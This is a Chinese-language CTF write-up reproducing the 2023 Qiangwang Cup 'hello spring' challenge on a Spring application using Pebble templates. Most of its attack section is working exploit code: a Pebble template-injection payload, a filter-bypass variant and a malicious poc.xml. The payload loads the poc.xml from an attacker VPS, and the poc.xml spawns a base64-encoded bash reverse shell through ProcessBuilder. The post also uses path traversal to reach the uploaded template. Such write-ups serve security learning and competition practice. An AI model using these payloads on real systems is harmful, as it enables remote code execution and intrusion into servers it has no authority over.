2023强网杯 hello spring 赛后本地复现

发布时间 2023-12-19 10:33:05作者: BattleofZhongDinghe

源码附件

比赛时给的附件
https://pan.baidu.com/s/1ivS1LOgr7CWvh_1x93JL6w?pwd=qrwd

说明

给的附件和远程环境中的不一样
然后根据配置文件和源码return 'home'写一个home.pebble放在/tmp目录下,作为模板文件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home Page</title>
</head>
<body>
    <h1>Hello!!!</h1>
</body>
</html>


这样算是本地环境搭建成功了

本地复现

根据pom.xml中存在pepple组件猜测存在pepple相关的漏洞,然后搜索发现可能存在pepple的模板注入

找到篇利用文章
https://github.com/Y4tacker/Web-Security/issues/3
poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,Y...E=}|{base64,-d}|{bash,-i}</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

在vps用python开启一个web服务
poc是类似这样的

{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://vps:port/poc.xml") }}
{{ yyy.refresh() }}

然后代码审计找一个地方进行模板注入
先在uploadFile路由进行post传参content,content是模板注入的内容,然后再用在/路由进行get传参x获取模板,就可以进行模板注入反弹shell了

写一个简单的demo方法判断命名规则

在这里可以看到上传文件的时间

但是注意是服务端的时间,我的kali和本地时间不一样
然后

?x=./../../../tmp/file_20231217_015652

就可以反弹shell了

比赛环境的bypass

过滤了

org.springframework.context.support.ClassPathXmlApplicationContext

可以利用字符串拼接绕过

org.springframework.context."+"support.ClassPathXmlApplicationContext

bypass的poc

{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context."+"support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://vpsip:port/poc.xml") }}
{{ yyy.refresh() }}